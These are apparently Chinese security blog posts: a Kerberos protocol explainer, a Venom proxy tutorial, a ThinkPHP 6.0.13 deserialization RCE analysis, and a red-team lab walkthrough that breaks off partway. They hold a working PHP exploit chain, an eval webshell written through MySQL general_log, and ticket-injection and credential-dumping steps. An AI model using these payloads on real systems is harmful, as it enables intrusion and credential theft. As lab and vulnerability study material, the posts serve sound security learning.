Kerberos协议角色组成kerberos是是古希腊神话中具有三个头颅的地狱看门犬,守护在地狱之外,能够识别所有路过的亡灵,防止活着的入侵者闯入地狱 神话里 kerberos 具有三个狗头,在 kerberos 协议里也存在三个角色。分别是 Client、Server、KDC 基本概念: Client:客户端 Server:服务端,可能是某个计算机,也可能是某个服务 Key Distribution Center (密钥分发中心) :简称 KDC,默认安装在域控 一般分为两部分: Authentication Service(身份验证服务),简称AS,认证服务器,用于 KDC 对 Client 认证 并发放用户用于访问 TGS 的TGT。 Ticket Grantng Service (票据授予服务),简称TGS,用于KDC向Client和Server分发Session Key。 Session Key:临时秘钥,用来加密网络上传输的数据,只在一段时间内有效 Ticket Granting Ticket (票据许可):简称 TGT AD(Account Database): 存储所有client的白名单,只有存在于白名单的client才能顺利申请到ticket KDC服务框架中包含一个KRBTGT账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为他就是一个无法登陆的账号 <3> Kerberos协议认证流程(1) 认证流程我们可以把认证过程分为三部分: 1,2部分为Authentication 1,客户端向AS证明自己身份的过程。首先Client向DC请求访问Server,DC会判断Client 是否可信。怎么判断?去AD中存储的黑名单和白名单查找依次区分Client。认证成功AS会返回一个票据许可TGT(Ticket Granting Ticket) 3,4部分为Authentication 2,Client继续拿着 TGT 请求DC访问Server,TGS会通过 Client 消息中的TGT,判断Client是否有服务器的访问权限。如果有 TGS 则返回票据ST(Service Ticket) 5,6部分为Authentication 3,Client得到票据ST(该 ST 只针对这个Server),再去访问Server,Server和Client 成功建立通信 举个生活中例子来理解: 比如现在疫情期间去公园玩,需要提前一天预约,你在网上预约后,会给你一个预约信息,第二天拿着预约信息去售票处买票,售票处会给你一张公园门票,你拿着门票去公园入口刷门票才能进入公园。 在去公园玩的流程中 1、网上预约返回给你一个预约信息这个过程就相当于client(你)去访问AS(网上预约中心),AS返回给client一个TGT(预约信息) 2、你拿着预约信息去售票处买票,售票处给你一张票这个过程就相当于client(你)使用TGT(预约信息)去访问TGS(售票处),TGS返回client一个Ticket(公园门票) 3、你拿着门票去刷票入园就相当于client(你)用ticket(公园门票)去server(公园入口),server收到ticket和KDC(检票机)进行验证,通过才能访问 4、门票的时间是一天,相当于Kerberos的允许访问时间,你进公园再出来,当天在进公园就不需要再去预约,买票了,只需要去刷票进去就行 这里再引用《内网渗透体系建设》里的一个例子: (2) 客户端与AS通信分析(Authentication 1)Authentication 1 即 客户端向AS证明自己身份的过程。目的是为获取票据许可 TGT(Ticket Granting Ticket) krbtgt是 KDC的账号 名为密钥分发中心账户 首先Client要发送自己的信息向AS请求TGT票据 。**提供身份信息的数据包是 AS-REQ(AS-requests)**,身份信息包括:用户名/ID、IP、Time AS收到 Client发送的身份信息数据包后,AS会先向AD请求,询问该Client是否可信,如果在白名单里的话,就会取出它的NTLM hash,然后生成一个随机秘钥称为AS_Session-Key(临时密钥) AS 会发送TGT给 Client。 TGT包含两部分信息: 一部分是 使用Client用户hash进行加密的 Time、TGSname、TGT有效时间和随机密钥AS_Session Key 另一部分则是 KDC用户krbtgt 自己hash加密的Time、Client Name、Client IP、TGSname、TGT有效时间、AS_Session Key。发送TGT的数据包是AS-REP(AS-response) client用户hash client自己知道。因此 Client会获得一个无法解密的TGT和 一个 AS_Session Key。 注:如果设置了PAC,TGT里也会包含 PAC的相关权限信息。PAC(Privilege Attribute Certificate,特权属证书),PAC包含Client 相关权限信息,如 SID、所属组等等,简单理解的话,PAC就是用于验证用户权限的,只有KDC可以查看和制作PAC (3) 客户端和TGS通信分析(Authentication 2)Authentication 2,即 Client 和 TGS的认证 Client收到KRB_AS_REP后,先用自己的Client NTLM-hash 解密TGT得到AS_Session Key,并使用 AS_Session Key 加密数据(Time、Name、IP)作为一部分,与 krbtgt 账户的NTLM hash加密的另一部分,重新封装成TGT 凭借TGT 针对所需要访问的服务像TGS 发送 TGS_REQ请求 TGS收到该请求,用krbtgt NTLM-hash 先解密TGT 得到 AS_Session Key、时间戳、TGT有效周期、Client Name、Client IP等等,然后再用解密得到的 AS_Session Key 解密第一部分内容,得到 Client Name、Client IP和时间戳 。 TGS会将两部分获取到时间戳timestamp进行比较,如果时间戳跟当前时间相差太久,就需要重新认证 TGS还会将这个Client的信息与TGT中的Client信息进行比较,结果没问题的话,TGS会生成一个TGS_Session Key(随机密钥) 然后TGS会返回ST(也叫Ticket),并带上PAC 。 注:无论用户有没有访问服务的权限,只要TGT正确无误,就会给它返回 ST 返回包包含两部分信息: 一部分是 使用 AS_Session Key 进行加密的 时间戳、ST有效时间 和 随机密钥TGS_Session Key 另一部分则是 使用Server hash(服务的NTLM hash) 进行加密的 时间戳、Client Name、Client IP、Server IP、ST有效时间、TGS_Session key的ST票据 。发送ST 的数据包是TGS-REP(TGS-response) 至此,Client和KDC的通信就结束了,然后是 Client 和Server进行通信 (4) 客户端和服务端通信分析(Authentication 3)客户端收到 TGS发送的 ST之后,对其进行解密 Client收到KRB_TGS_REP,先使用 AS_Session Key 解密出了 TGS_Session Key 再使用解出来的 TGS_Session Key 加密 时间戳、ST有效时间、Client Name、Client IP 作为一部分内容,加上ST里Server hash加密的另一部分 重新封装成新的 ST 然后利用ST去向 server 请求服务 ,即发送 KRB_AP_REQ Server 收到 KRB_AP_REQ ,用自身的Server NTLM hash解密了 ST,得到TGS_Session Key、时间戳等等。再解密另一部分 得到 Client Name、Client-IP、时间戳和 ST有效时间 再与第一部分的 时间戳、Client信息进行对比,timestamp 一般时间为8小时。 验证通过后,会将其中的PAC交给 KDC解密,KDC会由此判断 用户是否有访问该服务的权限。当然如果没有设置的话就不会去KDC求证。 这也是 后面白银票据成功的原因 认证成功后,回复KRB_AP_REP,建立通信 其实整个Kerberos认证的流程就是不断交换密钥,使用对称加密算法,解密验证身份和时间戳,最后达到认证的效果 <4> Kerberos协议认证数据包分析(1) AS-REQ和AS-REP数据包分析利用 kekeo 工具申请票据,wireshark抓包分析 1tgt::ask /user:1vxyz /domain:hack.com /password:密码 申请一下 1vxyz用户的票据 AS-REQ 包含了用户的一些信息,是客户端发送给AS的数据包,里面有几个重要信息: PA-DATA pA-ENC-TIMESTAMP:使用用户的hash 或者 AESkey 加密时间戳生成的 value PA-DATA pA-PAC-REQUEST,是否包含PAC kdc-options cname:请求的用户名 realm:域名 sname:请求的服务 AS-REP:当KDC收到 AES-REQ 之后解密 PA-DATA pA-ENC-TIMESTAMP 成功 则回发TGT给客户端 TGT 有两部分信息: enc-part:TGT中 用户hash加密的部分 enc-part:TGT中 krbtgt hash加密的部分 (2) TGS-REQ和TGS-REP数据包分析还是利用kekeo工具 以 1vxyz的身份申请一张 访问 DC.hack.com的cifs服务的票 1234# 首先申请TGT票据tgt::ask /user:1vxyz /domain:hack.com /password:密码# 拿着第一步申请到的TGT票据 申请STtgs::ask /tgt:TGT_1vxyz@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /service:cifs/DC.hack.com TGS-REQ:客户端发送给TGS的 带有用户解密后重新封装的TGT 数据包,其中包含: authenticator:使用 AS_Session Key加密的Client_info、TGS_Name等等 ticket:krbtgt用户hash加密的TGT,AS-REP 里原封不动的ticket cname:请求的用户名 sname:请求的服务名称 TGS-REP:TGS发送给客户端的 ST 数据包。内容包含: ticket里enc-part:Server hash加密的信息 enc-part:AS_Session Key加密的信息 (3) AP-REQ和AP-REP数据包分析AP-REQ 是 客户端发送 重新封装好的 ST 到服务端的数据包 我们使用kekeo工具申请一张域管的票据 高权限的 然后wireshark抓包分析 1234567# 首先申请TGT票据tgt::ask /user:administrator /domain:hack.com /password:密码# 拿着第一步申请到的TGT票据 申请ST并注入内存tgs::ask /tgt:TGT名称 /service:服务名/域名地址 /ptt tgs::ask /tgt:TGT_administrator@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /service:cifs/DC.hack.com /pttklist # 查看内存中的票证 申请到administrator的票据后注入内存中,成功访问 域控的C盘目录 这里就不是 KRB5类型的包了 走的smb 类似于 NTLM认证时协商、质询的数据包。但是这里 Session Setup Request里 放的不是challenge,而是Kerberos的东西。 发送的 ST包含两部分 ticket里enc-part:Server hash加密的信息 authenticator:TGS_Session Key加密的信息 AP-REP 是 服务端发送到客户端的数据 <5> Kerberos协议认证中存在的安全问题(1) 一些概念黄金票据 krbtgt 的NTLM Hash如果泄露了,那么TGT就能被解密甚至伪造。伪造的TGT叫做黄金票据 白银票据 ST(Ticket )是由Server的NTLM Hash进行加密的,如果该Hash泄露,那么就可以解密甚至伪造Ticket。伪造的Ticket 叫做白银票据 哪个更容易伪造一些? 答案是黄金票据,白银票据需要知道Server hash,访问每个服务都需要一个Server hash去伪造ST。而黄金票据需要知道 krbtgt hash即可 PACPrivilege Attribute Certificate (特权属性证书),简称PAC,为了增加了认证过程中的权限认证。PAC会被放在TGT里发送给Client,然后由Client发送给TGS ms14-068 漏洞,就是基于PAC认证的错误,从而导致域内普通用户可以伪造凭据,提权到管理员权限 (2) Authentication 1-AS_REQ请求阶段在这一阶段, 可能存在如下漏洞: PTH 哈希传递 当域内client某个用户识图访问域中的某个服务时,该阶段client会用用户的NTLM hash去对 时间戳、client信息 进行加密,也就是数据包里的 authenticator字段,然后发送给AS 所以造成了hash传递 域内用户枚举 此阶段client向AS证明自己的身份的过程,AS检查cname,当用户不存在,返回包提示错误。 使用kerbrute进行错误枚举的原理就是kerberos有这样四种错误代码: KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) KDC_ERR_PREAUTH_FAILED (用户存在但密码错误) 喷洒攻击(密码枚举) 比如已知域内用户名称,可以使用不同的hash加密这里内容 密码正确和错误返回的包是不相同的。原理同 域内用户枚举 (3) Authentication 1-AS_REP请求阶段AS_REP数据包中enc-part里面最重要的字段就是AS_session key,作为下阶段的认证密钥 AS-REP中最核心的东西就是AS_session-key 和 krbtgt hash 加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换 这一阶段存在黄金票据、Roasting (4) Authentication 2-TGS_REP请求阶段TGS-REP中最核心的东西就是TGS_session-key 和 Server hash 加密的 ticket 存在 白银票据、Kerberoasting Kerberos扩展协议:委派、Kerberos bronze bit 参考:https://www.jianshu.com/p/13758c310242 具体的漏洞攻击方式,请看下文:https://1vxyz.github.io/2023/10/06/Kerberos%E5%8D%8F%E8%AE%AE%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB/","link":"/2023/10/05/Kerberos%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0/"},{"title":"Venom内网代理工具","text":"摘要:Venom代理工具使用 <1> 工具介绍Venom是一款为渗透测试人员设计的、使用Go开发的多级代理工具 Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理 在内网渗透时,可将网络流量代理到多层内网 特性: 可视化网络拓扑 多级socks5代理 多级端口转发 端口复用 (apache/mysql/…) ssh隧道 交互式shell 文件的上传和下载 节点间通信加密 支持多种平台(Linux/Windows/MacOS)和多种架构(x86/x64/arm/mips) 下载地址:https://github.com/Dliv3/Venom/ <2> 工具使用(1) 监听与发起连接admin节点和agent节点均可监听连接也可发起连接 服务端admin监听、客户端agent发起连接: 12服务端:./admin_linux_x64 -lport 1111客户端:./agent_linux_x64 -rhost 本机ip -rport 1111 客户端agent监听、服务端admin发起连接: 12服务端:./admin_linux_x64 -rhost 本机ip -rport 1111客户端:./agent_linux_x64 -lport 1111 (2) agent节点支持端口复用agent提供了两种端口复用方法 通过SO_REUSEPORT和SO_REUSEADDR选项进行端口复用 通过iptables进行端口复用(仅支持Linux平台) 通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务 第一种端口复用: 1234# 以windows下apache为例# 复用apache 80端口,不影响apache提供正常的http服务# -lhost 的值为本机ip,不能写0.0.0.0,否则无法进行端口复用./agent.exe -lhost 192.168.204.139 -reuse-port 80 第二种端口复用: 123# 以linux下apache为例# 需要root权限sudo ./agent_linux_x64 -lport 8080 -reuse-port 80 这种端口复用方法会在本机设置iptables规则,将reuse-port的流量转发到lport,再由agent分发流量 需要注意一点,如果通过sigterm,sigint信号结束程序(kill或ctrl-c),程序可以自动清理iptables规则。如果agent被kill -9杀掉则无法自动清理iptables规则,需要手动清理,因为agent程序无法处理sigkill信号。 为了避免iptables规则不能自动被清理导致渗透测试者无法访问80端口服务,所以第二种端口复用方法采用了iptables -m recent通过特殊的tcp包控制iptables转发规则是否开启 123456789# 启动agent在linux主机上设置的iptables规则# 如果rhost在内网,可以使用socks5代理脚本流量,socks5代理的使用见下文python scripts/port_reuse.py --start --rhost 内网rhost --rport 80# 连接agent节点./admin_macos_x64 -rhost 内网rhost -rport 80# 如果要关闭转发规则python scripts/port_reuse.py --stop --rhost 内网rhost --rport 80 (3) admin结点命令1234567891011121314151617(admin node) >>> help help # 打印使用帮助 exit # 退出 show # 显示网络拓扑 getdes # 显示 target结点的描述 setdes [info] # 添加对 target结点的描述 goto [id] # 选取一个要操作的 target结点. listen [lport] # 在 target结点上监听一个端口 connect [rhost] [rport] # 通过 target结点连接一个新节点 sshconnect [user@ip:port] [dport] # 通过ssh隧道连接一个新节点 shell # 获取target节点的交互式shell upload [local_file] [remote_file] # 上传文件到 target结点 download [remote_file] [local_file] # 从target结点下载文件 socks [lport] # 从target节点的lport端口建立一个socks5代理 lforward [lhost] [sport] [dport] # 将本地端口转发到远程 rforward [rhost] [sport] [dport] # 将远程端口转发到本地 goto 操作某节点、getdes/setdes 获取/设置节点信息描述 connect/listen 结点互连 12345(node 1) >>> listen 2222另一台主机:./agent -rhost node1ip -rport 2222另一台主机:./agent -lport 2222(node 1) >>> connect 另一台主机ip 2222 socks 建立到某节点的socks5代理 12(node 1) >>> socks 7777a socks5 proxy of the target node has started up on local port 7777 rforward 将node1网段的192.168.200.1的80端口转发到admin节点本地的3333端口 12(node 1) >>> rforward 192.168.200.1 80 3333forward remote network 192.168.200.1 port 80 to local port 3333 (4) 多层网络环境 搭配proxifier使用工具支持以节点为跳板,构建多级代理。 socks 建立到目标结点的socks5代理,然后 proxifier 搭配代理,即可访问目标内网其他主机 例如: 网络环境:我们拿下了外网可访问的 192.168.200.2主机,再其C段内 存活一台 192.168.200.1 直接访问不可 利用 venom + proxifier 然后利用 proxifier连接代理,将自己的访问 由代理转发出去 设置 Proxy Server 然后配置 Proxification Rules 代理解析规则 Target Hosts 为 192.168.200.1 即可将自己访问 192.168.200.1的请求通过服务器socks5代理转发过去 然后浏览器 输入 即可访问到内网主机开启的web服务 参考:https://xz.aliyun.com/t/4058","link":"/2023/09/01/Venom%E5%86%85%E7%BD%91%E4%BB%A3%E7%90%86%E5%B7%A5%E5%85%B7/"},{"title":"Thinkphp v6.0.13反序列化(CVE-2022-38352)分析","text":"Thinkphp v6.0.13反序列化rce漏洞(CVE-2022-38352)分析摘要:ThinkPHP 6.0.13 反序列化rce漏洞分析 一、漏洞介绍Thinkphp 6.0.13版本存在反序列化漏洞,攻击者可以通过组件League\\Flysystem\\Cached\\Storage\\Psr6Cache包含反序列化漏洞 目前的Thinkphp6.1.0以上已经将filesystem移除了 因为此处存在好多条反序列化漏洞 二、漏洞影响版本Thinkphp <= v6.0.13 三、漏洞环境利用 composer安装Thinkphp6.0.13: 1composer create-project topthink/think=6.0.13 tp6 注:tp6之后只能使用composer安装 这里即使指定了版本。composer默认下载的还是 稳定版本的thinkphp 最终打开是个6.1.3的版本 这个版本的依赖剔除了 League\\Flysystem 这是反序列化漏洞的重要一环 因此 这里复现环境就下载了一个打包好的 6.0.8的版本的Thinkphp 四、漏洞分析poc如下: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576<?phpnamespace League\\Flysystem\\Cached\\Storage{ class Psr6Cache{ private $pool; protected $autosave = false; public function __construct($exp) { $this->pool = $exp; } }}namespace think\\log{ class Channel{ protected $logger; protected $lazy = true; public function __construct($exp) { $this->logger = $exp; $this->lazy = false; } }}namespace think{ class Request{ protected $url; public function __construct() { $this->url = '<?php system("calc"); exit(); ?>'; } } class App{ protected $instances = []; public function __construct() { $this->instances = ['think\\Request'=>new Request()]; } }}namespace think\\view\\driver{ class Php{}}namespace think\\log\\driver{ class Socket{ protected $config = []; protected $app; protected $clientArg = []; public function __construct() { $this->config = [ 'debug'=>true, 'force_client_ids' => 1, 'allow_client_ids' => '', 'format_head' => [new \\think\\view\\driver\\Php,'display'], # 利用类和方法 ]; $this->app = new \\think\\App(); $this->clientArg = ['tabid'=>'1']; } }}namespace{ $c = new think\\log\\driver\\Socket(); $b = new think\\log\\Channel($c); $a = new League\\Flysystem\\Cached\\Storage\\Psr6Cache($b); echo urlencode(serialize($a));} 观察可知,最终利用点是在 think\\view\\driver\\Php.php 的 display方法 存在 eval(‘?>’ . $this->content); 命令执行 由于这个框架向上挖麻烦一些,这里我们直接跟着poc 调试一下 看看这条链子调用过程 根据poc可知 反序列化链子入口点在:League\\Flysystem\\Cached\\Storage\\Psr6Cache Psr6Cache类是没有__destruct()方法的 但是它继承了AbstractCache 其父类 的League\\Flysystem\\Cached\\Storage\\AbstractCache的__destruct()方法: $this->autosave可控,因此调用Psr6Cache类的save()方法 123456public function save(){ $item = $this->pool->getItem($this->key); $item->set($this->getForStorage()); $item->expiresAfter($this->expire); $this->pool->save($item);} 当调用一个未定义或不可访问方法时, __call() 方法将被调用 $this->pool可控,这里可以通过其中$this->pool->getItem($this->key); 调用任意类的__call()方法 这里我们用到的是 think\\log\\Channel类的__call()方法: Channel类不具有 getItem()方法,因此 给$this->pool 赋值 Channel类对象,可以出发其 __call()魔术方法 1234567public function log($level, $message, array $context = []){ $this->record($message, $level, $context);}public function __call($method, $parameters){ $this->log($method, ...$parameters);} Channel::__call() 中调用了 log()方法,而log()又调用了 record()方法 我们跟进查看一下 Channel::record() 方法的代码实现 1234567891011121314151617181920212223242526public function record($msg, string $type = 'info', array $context = [], bool $lazy = true){ if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))){ return $this; } if (is_string($msg) && !empty($context)) { $replace = []; foreach ($context as $key => $val) { $replace['{' . $key . '}'] = $val; } $msg = strtr($msg, $replace); } if (!empty($msg) || 0 === $msg) { $this->log[$type][] = $msg; if ($this->event) { $this->event->trigger(new LogRecord($type, $msg)); } } if (!$this->lazy || !$lazy) { $this->save(); } return $this;} 参数都可控 前三个判断都可以过 这里要利用的是第四个if判断 $lazy默认是true不可控,但可以通过控制$this->lazy参数为 false 即可调用 Channel::save()方法: 继续跟进 查看一下 Channel::save()方法 的代码实现 123456789101112131415public function save(): bool{ $log = $this->log; if ($this->event) { $event = new LogWrite($this->name, $log); $this->event->trigger($event); $log = $event->log; }if ($this->logger->save($log)) { $this->clear(); return true;} return false;} 其中 $this->logger可控 因此我们可以调用任意类的save()方法 继续找可利用的,哪个类的save()方法可以利用呢? 我们找到了 think\\log\\driver\\Socket 类的save()方法: 该方法存在 invoke()方法,类似于java里的反射,可以利用 调用任意类的任意方法 下面就想办法 怎么执行到此处 首先是要绕过第一个判断,if (!$this->check()),需要check()方法返回true,check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证 跟进check()方法看看: 这里控制 $this->clientArg[‘tabid’] = 1 $this->config[‘force_client_ids’] 为 1 $this->config[‘allow_client_ids’] 为空 即可使 Socket::check() 返回true 回到 Socket::check() 继续看第二个判断,需要满足 $this->config[‘debug’] = true 开启debug $this->app->exists(‘request’) 返回 true 即可控制 $currentUri 的值 第二个条件是重点,$this->app 应该为 think\\App 类实例 我们跟进查看一下 exists()方法的代码实现: think\\App 不存在exists()方法 因此会继承其父类 think\\Container 中的 exists()方法 传入的$abstract参数是request,调用getAlias()方法。这个方法作用为:根据别名获取真实类名,所以这个函数的返回的是think\\Request。然后 return isset($this->instances[$abstract]); 因此 isset($this->instances[$abstract]) 需要为 true,即给$this->instances赋值为['think\\Request'=>new Request()] 所以给$this->app赋值为think\\APP类,$this->app->instances = [‘think\\Request’=>new Request()]; 然后继续向下 进入if语句里: 123if ($this->app->exists('request')) { $currentUri = $this->app->request->url(true);} 执行 $this->app->request->url(true),调用 request 类的url()方法,形参$complete 为true 然后获取 request 实例对象的 url 属性的值(可控),赋值给$url 因为传入的$complete参数为true,所以会调用domain()方法,并将domain()方法返回结果 (http://) 和$url拼接起来 作为返回结果赋值 $currentUri 然后进入第三个if判断,给$this->config[‘format_head’]赋值,即可执行Container类的invoke方法: 1234567if (!empty($this->config['format_head'])) { try { $currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]); } catch (NotFoundExceptionInterface $notFoundException) { // Ignore exception }} 跟进invoke()方法,执行第三个return语句 继续跟进 Container类的invokeMethod()方法 其中 $class和$method 是我们控制的$this->config['format_head']变量中的内容, $vars是$currentUri变量中的内容,而$currentUri变量 是 前面提到的Request类的url()方法赋值的。该方法 return时 拼接时传入的$this->url部分是我们可控的 控制 $this->url的值为恶意代码即可 类、类的方法、传入的参数 这三个值我们都可控,因此可以调用 任意类的任意函数 执行自己想要的操作 因此、现在寻找一个可利用的类和方法即可 而我们前面提到了: think\\view\\driver\\Php.php 类的 display()方法 里 存在 eval()函数 eval()函数的参数为 ‘?>’ 拼接 函数参数传入的$content的值 调用 Php->display("<?php 恶意代码;?>") 即可实现 rce 即: Socket类:$this->config[‘format_head’] = [new \\think\\view\\driver\\Php,’display’] Request类:$this->url = '<?php system(\\'calc\\'); exit(); ?>'; 最终编写 poc 如下: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576<?phpnamespace League\\Flysystem\\Cached\\Storage{ class Psr6Cache{ private $pool; protected $autosave = false; public function __construct($exp) { $this->pool = $exp; } }}namespace think\\log{ class Channel{ protected $logger; protected $lazy = true; public function __construct($exp) { $this->logger = $exp; $this->lazy = false; } }}namespace think{ class Request{ protected $url; public function __construct() { $this->url = '<?php system("calc"); exit(); ?>'; } } class App{ protected $instances = []; public function __construct() { $this->instances = ['think\\Request'=>new Request()]; } }}namespace think\\view\\driver{ class Php{}}namespace think\\log\\driver{ class Socket{ protected $config = []; protected $app; protected $clientArg = []; public function __construct() { $this->config = [ 'debug'=>true, 'force_client_ids' => 1, 'allow_client_ids' => [], 'format_head' => [new \\think\\view\\driver\\Php,'display'], # 利用类和方法 ]; $this->app = new \\think\\App(); $this->clientArg = ['tabid'=>'1']; } }}namespace{ $c = new think\\log\\driver\\Socket(); $b = new think\\log\\Channel($c); $a = new League\\Flysystem\\Cached\\Storage\\Psr6Cache($b); echo urlencode(base64_encode(serialize($a)));} 五、漏洞复现本地 php_study_pro 开个ngnix环境 手动在 app/controller/Index.php 添加一个反序列化点 12345678910111213141516171819<?phpnamespace app\\controller;use app\\BaseController;class Index extends BaseController{ public function index(){ if($_POST["a"]){ unserialize(base64_decode($_POST["a"])); } return "hello"; } public function hello($name = 'ThinkPHP6') { return 'hello,' . $name; }} 把poc 生成的payload 打一下 成功弹出计算器 这个反序列化漏洞,主要点集中在在 Socket类 的变量控制、php的反射 以及 Php类中的display方法利用 参考: https://github.com/top-think/framework/issues/2749 https://xz.aliyun.com/t/12169","link":"/2023/08/26/Thinkphp-v6-0-13%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-CVE-2022-38352-%E5%88%86%E6%9E%90/"},{"title":"Vulnstack-红日安全内网靶场[一]","text":"<1> 环境搭建靶场下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/虚拟机所有统一密码:hongrisec@2019(有的会提示密码已过期,随便改改 我改成了Hongrisec@2019)网络拓扑图如下: 这里我设置的网络是VMnet3和VMnet8,其实无所谓设置哪两个网络,最重要的是需要两个网络,且不能在同一个网段内(因为需要一个做外网一个做内网) ip配置如下: 1234kali (攻击机):192.168.236.128 (VMnet8 网卡分配的IP)Windows 7 (web服务器):192.168.236.132(外网和kali连通)、192.168.52.143(内网ip)Windows 2008 (域控):192.168.52.138Win2k3 (域管):192.168.22. 【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 我们要设置的内网网卡 即 VMware 的 VMnet3 网卡应注意也配置为 192.168.52.XXX/24 网段 (把VMnet3改成其他的也可以,但是那样还需要自己去网络里修改一下被配置的固定192.168.52.XXX/24网段 麻烦一点,就用52吧) (1) 配置Win7 web服务器网络从网络拓扑图得知,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网络适配器(网卡),点击添加网络设配器: 右键右下角电脑图标 -> 打开网络和共享中心 -> 更改适配器设置 -> 右键网络本地连接(点属性) -> 选Internet 协议版本 4(TCP/ipv4) 即可设置IP地址为 192.168.236.132 能ping 通kali机,说明和外网已经连通了,这里还有一点就是记得把WIndows 7这个web服务器防火墙的关闭,否则kali会ping 不通 同理 内网ip设置为: ping一下DC机,域内网络也配置正常 在 Win7 外网服务器主机的 C 盘找到 PhpStudy 启动 Web 服务(模拟外网 Web 站点): 开启之后,我们在我们的主机 访问一下win7,可以正常访问到PHP探针 这样我们的环境就相当于是配置好啦 (2) 配置 Winserver 2008网络(DC域控)hongrisec@2019 登录的时候,显示密码过期 自己改成了 Hongrisec@2019 Win2008 DC域控主机ip为 192.168.52.138 默认配好了的 (3) 配置 Win2003/win2k3网络(域成员)域内主机 win2003 ip为192.168.236.141 与外网不连通 <2> 外网边界突破(1) 信息收集(弱口令+开放了phpmyadmin、yxcms)在外网站点看见了一个MySQL 连接检测: 检测一下,存在弱口令 root:root 连接正常 但单从这只能检测,还利用不了呢扫一下目录,看看有什么东西。扫描到了 phpmyadmin 访问/phpmyadmin 使用 刚刚检测到的 root:root 登录一下,成功登录进去了 phpmyadmin是一个以 PHP 为基础,以 Web-Base 方式架构在网站主机上的 MySQL 的数据库管理工具,让管理者可用 Web 接口管理 MySQL 数据库 在里面看见了mysql数据库和一个 yxcms的数据库,应该也存在一个yxcms服务 (2) PhpMyAdmin 后台 Getshellphpmyadmin有两种getshell方式: into outfile导出木马 利用Mysql日志文件getshell 我们挨个试一下。 -尝试into outfile导出木马(失败)执行 select @@basedir; 查看一下网站的路径 路径为:C:/phpStudy/MySQL/ 再执行 select '<?php eval($_POST[cmd]);?>' into outfile 'C:/phpStudy/www/hack.php'; 直接将木马写入到 www网站根目录下 失败 这是因为 Mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出。我们可以借助show global variables like '%secure%';命令来查看该参数 当secure_file_priv为NULL时,表示限制Mysql不允许导入导出,这里为NULL。所以into outfile写入木马出错。要想使得该语句导出成功,则需要在Mysql文件夹下修改my.ini 文件,在[mysqld]内加入secure_file_priv =””。 直接写入木马不行,那我们就换另一种方法—Mysql日志文件写入shell -利用Mysql日志文件写入shell先执行命令:show variables like '%general%'; 查看日志状态: 当开启 general_log 时,所执行的 SQL 语句都会出现在 stu1.log 文件中。那么如果修改 general_log_file 的值为一个php文件,则所执行的 SQL 语句就会对应生成在对应的文件中,进而可 Getshell SET GLOBAL general_log='on'开启 general_log SET GLOBAL general_log_file='C:/phpStudy/www/hack.php'指定日志写入到网站根目录的 hack.php 文件 然后接下来执行 SQL 语句:SELECT '<?php eval($_POST["cmd"]);?>',即可将一句话木马写入 hack.php 文件中 访问/hack.php 成功写入 上蚁剑 连上去了 (3)yxcms后台上传getshell前面我们登录进去之后,可以看到还有一个yxcms的数据库,同时我们进入后台之后,可以看到一个 beifen.rar备份文件和yxcms目录,这道题其实还有一种getshell的方法,这里我们也记录一下。 字典不够强大,没扫出来 beifen.rar和 /yxcms 访问/yxcms,可以看到在公告处,泄露了 yxcms的admin后台登录路径 以及 默认的密码 成功登录到后台 xxcms,既然后台都登录到了,那拿shell还不简单吗,一般就是找一找模板编辑的地方,写入一句话🐎,或者写入日志,这里刚好就有编辑模板的地方,我们新增一个shell.php 建立是建立了,shell.php 生成到哪了呢?? 这里就需要我们前面提到的 beifen.rar 备份文件了,我们把备份文件解压,在里面寻找模板的这么多php 都存放在了:/yxcms/protected/apps/default/view/default/因此我们的shell.php 就生成在了这里 蚁剑连接 拿到shell <3> 内网信息探测我们在拿到的shell 执行 whoami 发现是administrator权限 在域中ifconfig 发现了内网网段 192.168.52.0/24 (1) 靶机上线CS在kali里 ./teamserver 192.168.236.128 cs123456 运行cs服务 主机运行CS 客户端并连接 CS 服务端,配置好listener监听器之后,生成 exe后门程序 利用蚁剑 把生成的artifact.exe 上传到靶机上: 在终端里执行 artifact.exe 可以看到靶机上线到CS上 可使用 Mimikatz 直接抓取本机用户密码: 这里抓取到密码之后,我们执行 net view 发现了域内另外俩台机器点击这里可以看到 可以利用抓取到的密码 psexec取login一下 监听器选 windows_smb/bind_pipe 拿到正向会话(前面三层内网靶机有讲正向反向)之后,我们可以右键 目标->文件管理 可以看到域控的文件 我们可以进行上传文件操作,算是打通了 这是CS可以用到的一点。这里能拿到是因为我们域控的密码和win7、密码设置一样了。刚好可以拿下 我们下面再看看其他方法 横向移动拿到域控和域内其他机器 (2) 域内信息收集内网信息收集的主要目的就是查找域控以及域内的其他主机 123456789101112net view # 查看局域网内其他主机名net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域net user # 查看本机用户列表net user /domain # 查看域用户net localgroup administrators # 查看本地管理员组(通常会有域用户)net view /domain # 查看有几个域net user 用户名 /domain # 获取指定域用户的信息net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)net group 组名 